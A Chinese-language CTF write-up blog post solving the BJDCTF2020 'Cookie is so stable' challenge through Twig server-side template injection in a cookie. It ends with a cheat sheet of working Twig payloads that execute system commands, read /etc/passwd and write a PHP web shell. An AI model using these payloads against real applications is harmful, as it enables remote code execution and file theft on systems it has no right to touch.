Title

[BJDCTF2020]Cookie is so stable-1|SSTI注入

1、打开之后在各个界面查看源代码,未发现很明显的有用信息,仅发现了提示,结果如下:

2、尝试输入数据,结果就是输入什么就回显什么,也未进行过滤,尝试进行sql注入失败,结果如下:

3、那就根据提示抓包查看下cookie信息,结果如下:

4、sql注入失败,这里想到了ssti注入,那就进行ssti注入测试,payload:{{2*2}},结果如下:

5、确定了ssti注入之后,该如何选择ssti注入方式呢,观察抓取的数据包中存在关于服务端的关键信息,结果如下:

6、确定服务端的语言之后,范围就很小了,补充下各种语言发生ssti注入的模板,如下:

python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

 7、确定此处产生ssti注入的模板可以为smarty、twig等,那就一个一个尝试,这里就直接使用twig模板的注入方式进行注入了,payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}},结果如下:

twig常用的注入payload:

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

这里附上另外一道ssti注入题的解析方式:https://www.cnblogs.com/upfine/p/16500169.html

ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html

posted @ 2022-07-30 10:58  upfine  阅读(947)  评论(0编辑  收藏  举报